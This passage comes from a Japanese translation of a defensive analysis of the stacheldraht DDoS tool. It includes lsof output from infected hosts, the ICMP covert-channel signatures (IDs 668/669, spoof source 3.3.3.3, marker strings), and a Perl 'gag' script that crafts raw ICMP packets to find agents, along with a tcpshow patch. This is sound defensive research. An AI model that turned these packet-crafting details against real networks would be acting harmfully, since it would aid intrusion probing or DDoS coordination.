mserv 1091 root 2u CHR 136,4 6 /dev/pts/4
mserv 1091 root 3r FIFO 0,0 2240 pipe
mserv 1091 root 4u inet 2215 TCP
192.168.0.1:16660->10.0.0.1:1029 (ESTABLISHED)
mserv 1091 root 5w FIFO 0,0 2240 pipe
------------------------------------------------------------------------------

エージェントも使用時は子プロセスを動かすが、こんな風に見ることができる:

------------------------------------------------------------------------------
# lsof -c ttymon
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ttymon 437 root cwd DIR 3,1 1024 37208 /usr/lib/libx/...
ttymon 437 root rtd DIR 3,1 1024 2 /
ttymon 437 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon
ttymon 437 root mem REG 3,1 243964 29140 /lib/libnss_files-2.1.1.so
ttymon 437 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ttymon 437 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ttymon 437 root 3u sock 0,0 779 can't identify protocol
ttymon 449 root cwd DIR 3,1 1024 37208 /usr/lib/libx/...
ttymon 449 root rtd DIR 3,1 1024 2 /
ttymon 449 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon
ttymon 449 root 0u inet 811 TCP *:32222 (LISTEN)
ttymon 449 root 3u sock 0,0 779 can't identify protocol
------------------------------------------------------------------------------

防御

プログラムが通信のためにICMP ECHO_REPLYパケットを使うので、ICMPを信頼するほとんどのインターネットプログラムを壊さない限り防御することは(不可能ではないにしろ) 大変難しい。PhrackのLOKI記事にはこうある:

このチャンネルを破壊するための最も確実で、かつ唯一の方法は、全てのICMP_ECHOトラフィックをあなたのネットワークに入れさ せないことだ。

このトラフィックを拒絶できない場合は、代わりにICMP_ECHOとICMP_ECHOREPLYパケットが、例えばpingのようなプログラム を使って「普通に」動作するときとの違いを、良く観察する必要があるだろう。これは簡単ではない。特に大規模なネットワークの場合は。(詳細については上 記LOKI記事を参照のこと)

真の防御法とは、確実に全てのシステムにちゃんとセキュリティパッチが当たってて、確実に不要なサービスが起動していなくて、有能なシステム管理者 があなたのネットワークの全てのUNIXシステムを走らせて、それを確実にモニターしていることである。(もし本当にそんなことができたら息を呑むけど ね)

弱点

修正が入っていなければ、前述のとおりstacheldrahtのクライアント/ハンドラー/エージェントが特定の文字列を埋め込まれているので、 特定が可能であると言える。

.distroコマンドはBerkeleyのrcpコマンドをエージェントのアップデートコピーを引っ張ってくるために使う。ということはネット ワーク上の複数システムから、ネットワーク外部の単一のIPアドレスへのrcp(514/tcp)をモニターすれば、よいトリガーになるだろう。(この形 式のrcpの使用にはanonymous信頼関係が必要であり、ふつうそれは/.rhostsファイルの中身を+ +として実現するが、そう言ったモノはまた、証拠保全のためにオーナーにコンタクトする間に、このアカウントの内容をただちにアーカイブ化できる、という ことでもある)

このIP盗聴テストでは静的なソースアドレス3.3.3.3が使われる。外向けに発信される応答要求ICMP_ECHOREPLYパケットのソース アドレスにこのアドレスが現れるのを見ること。(もしRFC2267スタイルの出口でのフィルタリングをしているのならば、外接するルーターの内側の、あ るいは各サブネットのどこかからこういうパケットが発信されるのを観察する必要がある。イーサネットのスイッチがローカルのサブネットで観察するのをさら にむつかしくしているので、外接線より内側に侵入検知システムを置くことが、全体のネットワークへの監視を行う最良の方法といえるだろう)

stacheldrahtはその機能のうちのいくつかでICMP_ECHOREPLYパケットを使用していて、かつ用いるTCPのコネクションが データストリームにBlowfish暗号化を使っているので、stacheldrahtを現行犯的に捕捉するのは難しいし、ICMP_ECHOREPLY パケットというのはそもそもほとんどのfirewallを通るのが正しいわけである。ngrepのようなプログラムはICMPパケットを処理しないが、だ からといってすぐICMPパケットのデータ部分をそれを使って観察できるというわけではない(tcpshowに使ったAppendixCの パッチとか、TFN分析で使ったsniffitへのパッチを使う場合以外は)。

stacheldrahtはICMPパケットを認証しないし、またICMPパケットの中に埋め込まれた文字列も暗号化されていない。

もしコマンドの値がデフォルトから変えられていなければ、エージェントを浮かび上がらせるためにはたった1つのパケットだけが必要になるだろう。そ れは以下のどちらかだ:

a).IDフィールドの値668のICMP_ECHOREPLYパケットを送り、IDフィールドの値669でかつデータフォールドに文字列 「sticken\n」を持つICMP_ECHOREPLYパケットが戻ってくるかどうか観察する。もしくは、

b).ソースアドレス3.3.3.3(そしてID666でデータフィールドには「skillz」)のICMP_ECHOREPLYパケットを送り、 IDフィールドの値1000でかつデータフォールドに文字列「spoofworks」を持つICMP_ECHOREPLYパケットが戻ってくるかどうか観 察する。

(Net::RawIPを使うgagという名のPerlスクリプトが、前述のとおりその目的をやり遂げるために開発されている。AppendixA参 照)

次なる論理的進化の段階

10月初め、最初にわたしがtrinooのソースコードを分析し始めて、その直後にTFNのバイナリを入手したときは、早晩通信チャネルの暗号化と 大規模ネットワークでの自動アップデート機能を装備するであろうことはわたしには自明だった。11月CERTのワークショップで他の人々と議論したこと で、(アンダーグラウンドでもきっと同じ考えを持っているに違いないが)多くの新機能のアイディアが浮かんできた。

stacheldrahtのコードを今見て、まだソースコードがリリースされていないサービス不能攻撃ツール(今年トータル4種の異なったハンド ラー/エージェント型ばらまきDoSツールが見つかっている)なども見てみると、こういったツールの進化についてのわたしの仮定はたぶん合っていると思 う。たとえコードにはいまだに分析していない部分がちょっと残っていて、またバグも残されているとしても(例えば12月20日に発見されたインストレー ションは、エージェントを毎分再起動するcronのエントリーを持っていた!)

新年に何が起こるのか、もう待てません。

Appendix A - Perl script "gag" to detect stacheldraht agents
------------------------------------------------------------

-------------------------------  cut here  -----------------------------------
#!/usr/bin/perl
#
# gag v. 1.0
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send an ICMP_ECHOREPLY packet with ID of 668 to a stacheldraht
# agent, causing it to reply to the sending host with an
# ICMP_ECHOREPLY packet with an ID of 669 and the string "sicken\n"
# in the data field of the packet. Watch for this with tcpdump,
# ngrep, sniffit, etc., e.g.:
#
# # tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# # tcpshow < stach.dump
# or
# # ngrep -x '*' 'icmp[4:2] = 669'
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./gag [options] iplist
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)

require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';

$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`);

Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"gesundheit!\")\
\t-c val\t\tSend command value 'val' (default 668 - ID_TEST)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );

# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "gesundheit!";
$opt_c = ($opt_c) ? $opt_c : "668";

# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}

$s_host = ($opt_f) ? $opt_f : $hostname;

if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while (<I>) {
chop;
push(@list,$_);
}
close(I);
}

# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));

foreach $d_host (@list) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
icmp => {type => 0, id => $id, data => $opt_a}
});
print "sending packet [$opt_c/\"$opt_a\"] to $d_host\n" if $opt_v;
$a->send;
}

exit(0);
------------------------------- cut here -----------------------------------

Appendix B - References
-----------------------

TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary
R. Wright., Addison-Wesley.

The DoS Project's "trinoo" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/trinoo.analysis

The "Tribe Flood Network" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/tfn.analysis

CERT Distributed System Intruder Tools Workshop report
http://www.cert.org/reports/dsit_workshop.pdf

CERT Advisory CA-99-17 Denial-of-Service Tools
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html

Distributed denial of service attack tools at Packet Storm Security
http://packetstorm.securify.com/distributed/

ngrep:
http://www.packetfactory.net/ngrep/

tcpdump:
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z

tcpshow:
http://packetstorm.securify.com/linux/trinux/src/tcpshow.c

sniffit:
http://sniffit.rug.ac.be/sniffit/sniffit.html

Net::RawIP:
http://quake.skif.net/RawIP

loki client/server:
Phrack Magazine, Volume Seven, Issue Forty-Nine,
File 06 of 16, [ Project Loki ]
http://www.phrack.com/search.phtml?view&article=p49-6

Phrack Magazine Volume 7, Issue 51 September 01, 1997,
article 06 of 17 [ L O K I 2 (the implementation) ]
http://www.phrack.com/search.phtml?view&article=p51-6

libnet:
http://www.packetfactory.net/libnet
----------------------------------------------------------------------------

Appendix C: Patches to tcpshow 1.0 to display ICMP ECHO id/seq
----------------------------------------------------------------------

diff -c tcpshow/tcpshow.c tcpshow.orig/tcpshow.c
*** tcpshow/tcpshow.c Mon Dec 27 16:21:54 1999
--- tcpshow.orig/tcpshow.c Thu Oct 21 14:12:19 1999
***************
*** 1081,1088 ****
uint2 nskipped;
uint1 type;
char *why;
- uint2 echo_id;
- uint2 echo_seq;


type = getbyte(&pkt); nskipped = sizeof(type);
--- 1081,1086 ----
***************
*** 1093,1103 ****
/* Must calculate it from the size of the IP datagram - the IP header. */
datalen -= ICMPHDRLEN;

- if (type == ECHO_REQ || type == ECHO_REPLY) {
- echo_id = getword(&pkt); nskipped += sizeof(cksum);
- echo_seq = getword(&pkt); nskipped += sizeof(cksum);
- }
-
why = icmpcode(type, code);
if (dataflag) {
printf(
--- 1091,1096 ----
***************
*** 1120,1129 ****
icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: ""
);
printf("\tChecksum:\t\t\t0x%04X\n", cksum);
- if (type == ECHO_REQ || type == ECHO_REPLY) {
- printf("\tId:\t\t\t\t0x%04X (%d)\n", echo_id, echo_id);
- printf("\tSequence:\t\t\t0x%04X (%d)\n", ntohs(echo_seq), ntohs(echo_seq));
- }
}

return pkt;
--- 1113,1118 ----
***************
*** 1194,1200 ****
printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen);
printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype);
printf("\tDatagram Length:\t\t%d bytes\n", dgramlen);
! printf("\tIdentification:\t\t\t0x%04X (%d)\n", id, id);
printf(
"\tFlags:\t\t\t\tMF=%s DF=%s\n",
(flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e
--- 1183,1189 ----
printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen);
printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype);
printf("\tDatagram Length:\t\t%d bytes\n", dgramlen);
! printf("\tIdentification:\t\t\t0x%04X\n", id);
printf(
"\tFlags:\t\t\t\tMF=%s DF=%s\n",
(flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e

----------------------------------------------------------------------